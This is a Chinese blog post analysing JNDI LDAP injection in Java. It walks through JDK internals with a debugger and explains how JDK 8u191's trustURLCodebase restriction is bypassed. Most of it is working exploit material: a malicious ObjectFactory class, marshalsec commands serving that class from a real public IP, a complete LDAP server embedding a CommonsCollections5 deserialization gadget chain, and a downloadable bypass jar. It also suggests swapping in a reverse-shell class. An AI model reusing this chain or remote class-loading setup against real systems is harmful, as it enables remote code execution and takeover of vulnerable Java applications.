之前分析了fastjson,jackson,都依賴於JDNI注入,即LDAP/RMI等偽協議
JNDI RMI基礎和fastjson低版本的分析:https://www.cnblogs.com/piaomiaohongchen/p/14780351.html
今天圍繞JNDI LDAP注入,RMI先不搞了.
一圖勝千言:
圖片是偷的threezh1的:
看這個圖,就感覺很清晰.
測試ldap攻擊:jdk版本選擇:jdk8u73 ,測試環境Mac OS
jdk8系列各個版本下載大全:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
惡意類:Exploit.java:
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.io.Serializable; import java.util.Hashtable; public class Exploit implements ObjectFactory, Serializable { public Exploit(){ try{ Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); }catch (IOException e){ e.printStackTrace(); } } public static void main(String[] args){ Exploit exploit = new Exploit(); } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } }
編譯成class文件即可.
使用marshalsec構建ldap服務,服務端監聽:
/root/jdk-14.0.2/bin/java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://119.45.227.86/#Exploit 6666
客戶端發起ldap請求:
客戶端代碼:
import javax.naming.InitialContext; import javax.naming.NamingException; public class JNDIClient { public static void main(String[] args) throws NamingException { new InitialContext().lookup("ldap://119.45.227.86:6666/a"); } }
坑:可能客戶端都是jdk8u73,但是發現不能ldap命令執行,八成是vps的原因,對Exploit.java文件編譯,要使用較低版本的jdk,我這里編譯Exploit.java文件,使用的jdk版本是:
如果你是用jdk>8的版本編譯,然后運行ldap服務,是不能執行命令成功的,因為客戶端是1.8*版本,請求的class是>1.8的,是不可以的,jdk是向下兼容的,所以建議惡意類文件編譯采用jdk<=1.8版本,為了穩定期間選擇我這里jdk1.6.
jndi ldap執行命令原理分析刨析:
debug:
跟進去,深入跟蹤函數一直到這里:
getObjectFactoryFromReference:
文件地址:/Library/Java/JavaVirtualMachines/jdk1.8.0_73.jdk/Contents/Home/jre/lib/rt.jar!/javax/naming/spi/NamingManager.class:
可通過反射加載進去單獨設置debug:
static ObjectFactory getObjectFactoryFromReference( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null; // Try to use current class loader try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { // ignore and continue // e.printStackTrace(); } // All other exceptions are passed up. // Not in class path; try to use codebase String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null) ? (ObjectFactory) clas.newInstance() : null; }
先看注釋:
繼續debug:
如果是本地的class文件加載:
就直接loadClass加載本地class文件即可.
但是我們這里是客戶端遠程加載ldap地址:
走這個邏輯:
發現多了個codebase:
跟進loadClass:
查看debug視圖頁面:
codebase是我們的ldap的地址:
最后返回:
觸發命令執行:
通過上面debug知道codebase是個url地址,那么什么是codebase呢?
簡單說,codebase就是遠程裝載類的路徑。當對象發送者序列化對象時,會在序列化流中附加上codebase的信息。 這個信息告訴接收方到什么地方尋找該對象的執行代碼。
你要弄清楚哪個設置codebase,而哪個使用codebase。任何程序假如發送一個對方可能沒有的新類對象時就要設置codebase(例如jdk的類對象,就不用設置codebase)。
codebase實際上是一個url表,在該url下有接受方需要下載的類文件。假如你不設置codebase,那么你就不能把一個對象傳遞給本地沒有該對象類文件的程序。
可以這么說jndi ldap遠程加載本質上就是:codebase+classname
提高jdk版本為:jdk8u191:
再次客戶端發起ldap請求:
會發現,有ldap請求,但是沒有命令執行成功:
開啟debug進去看看:
回到老地方:
getObjectFactoryFromReference:
文件地址:/Library/Java/JavaVirtualMachines/jdk1.8.0_73.jdk/Contents/Home/jre/lib/rt.jar!/javax/naming/spi/NamingManager.class:
跟進loadClass:
多了一個判斷:
貼代碼:
public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { if ("true".equalsIgnoreCase(trustURLCodebase)) { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); } else { return null; } }
直接走了else,不能在反射實例化了..
gg了,默認情況下,trustURLCodebase=false,如果還想jdni ldap命令執行成功,就要想辦法讓trustURLCodebase=true:
網上已經給了解決方案來看看:
來試一把:
依賴環境:
<dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.1.1</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
LdapServer.java:
package com.test.fastjson.jndi; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.InetAddress; import java.net.URL; import java.util.HashMap; import java.util.Map; public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main ( String[] tmp_args ) throws Exception{ String[] args=new String[]{"http://119.45.227.86/#Exploit"}; int port = 7777; InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaSerializedData",CommonsCollections5()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } private static byte[] CommonsCollections5() throws Exception{ Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map map=new HashMap(); Map lazyMap=LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test"); BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null); Field field=badAttributeValueExpException.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException,tiedMapEntry); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(badAttributeValueExpException); objectOutputStream.close(); return byteArrayOutputStream.toByteArray(); } }
運行LdapServer.java,啟動服務端:
客戶端調用ldap:
import javax.naming.InitialContext; import javax.naming.NamingException; public class JNDIClient { public static void main(String[] args) throws NamingException { new InitialContext().lookup("ldap://127.0.0.1:7777/a"); } }
成功執行命令,bypass trustURLCodebase=false的修復方案,debug下,看看是怎么導致命令執行的:
debug跟進函數,看比較重要的文件:
/Library/Java/JavaVirtualMachines/jdk1.8.0_191.jdk/Contents/Home/jre/lib/rt.jar!/com/sun/jndi/ldap/LdapCtx.class
摘出代碼:
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) { var3 = Obj.decodeObject((Attributes)var4); }
發現會判斷獲取到數組的第二個位置的值,是否為空,不為空就走Obj.decodeObject:
跟進decodeObject:
查看JAVA_ATTRIBUTES:
把元素都存儲在了數組中,可以把他們理解成這是key,get(*),獲取的是值,就是value:
把debug重要部分代碼貼出來:
static Object decodeObject(Attributes var0) throws NamingException { String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4])); try { Attribute var1; if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) { ClassLoader var3 = helper.getURLClassLoader(var2); return deserializeObject((byte[])((byte[])var1.get()), var3); } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) { return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2); } else { var1 = var0.get(JAVA_ATTRIBUTES[0]); return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2); } } catch (IOException var5) { NamingException var4 = new NamingException(); var4.setRootCause(var5); throw var4; } }
獲取數組第四個元素就是java codebase即ldap地址:
繼續往下:
debug發現value是:
JAVA_ATTRIBUTES[1]=javaserializeddata -> {LdapAttribute@893} "javaSerializedData: [B@66d2e7d9"
var2=java codebase,classloader加載的是codebase:
跟進去:
重中之重:/Library/Java/JavaVirtualMachines/jdk1.8.0_191.jdk/Contents/Home/jre/lib/rt.jar!/com/sun/jndi/ldap/VersionHelper12.class
文件位置:
ClassLoader getURLClassLoader(String[] var1) throws MalformedURLException { ClassLoader var2 = this.getContextClassLoader(); return (ClassLoader)(var1 != null && "true".equalsIgnoreCase(trustURLCodebase) ? URLClassLoader.newInstance(getUrlArray(var1), var2) : var2); }
如果var1不為空,設置trustURLCodebase=true!!!
這樣他又可以classloader加載了!
下一步走到這里,反序列化codebase:
跟進desrializeObject方法,調用readObject,觸發rce:
為了走我們debug的流程觸發rce,所以exp里面需要給屬性設置內容
設置的值是反射加載調用實例化:
改造exp:讓我們更方便的進行jdk高版本下的jndi ldap利用:
演示效果,實現自定義惡意類定義+自定義ldap端口:
vps上監聽:
java -jar Java_Test.jar http://119.45.227.86/#Exploit 1234
客戶端發起遠程ladp請求:
import javax.naming.InitialContext; import javax.naming.NamingException; public class JNDIClient { public static void main(String[] args) throws NamingException { new InitialContext().lookup("ldap://119.45.227.86:1234/a"); } }
如果想反彈shell,在自己vps上寫個反彈shell的惡意類,編譯后,遠程加載,即可反彈shell
bypass jar包下載地址:http://119.45.227.86/hello.zip
關於jndi jdk高版本bypass其他方法,等我有時間,再來補全!累了!
jdni注入學習參考:https://threezh1.com/2021/01/02/JAVA_JNDI_Learn/#RMI%E4%B8%8ELDAP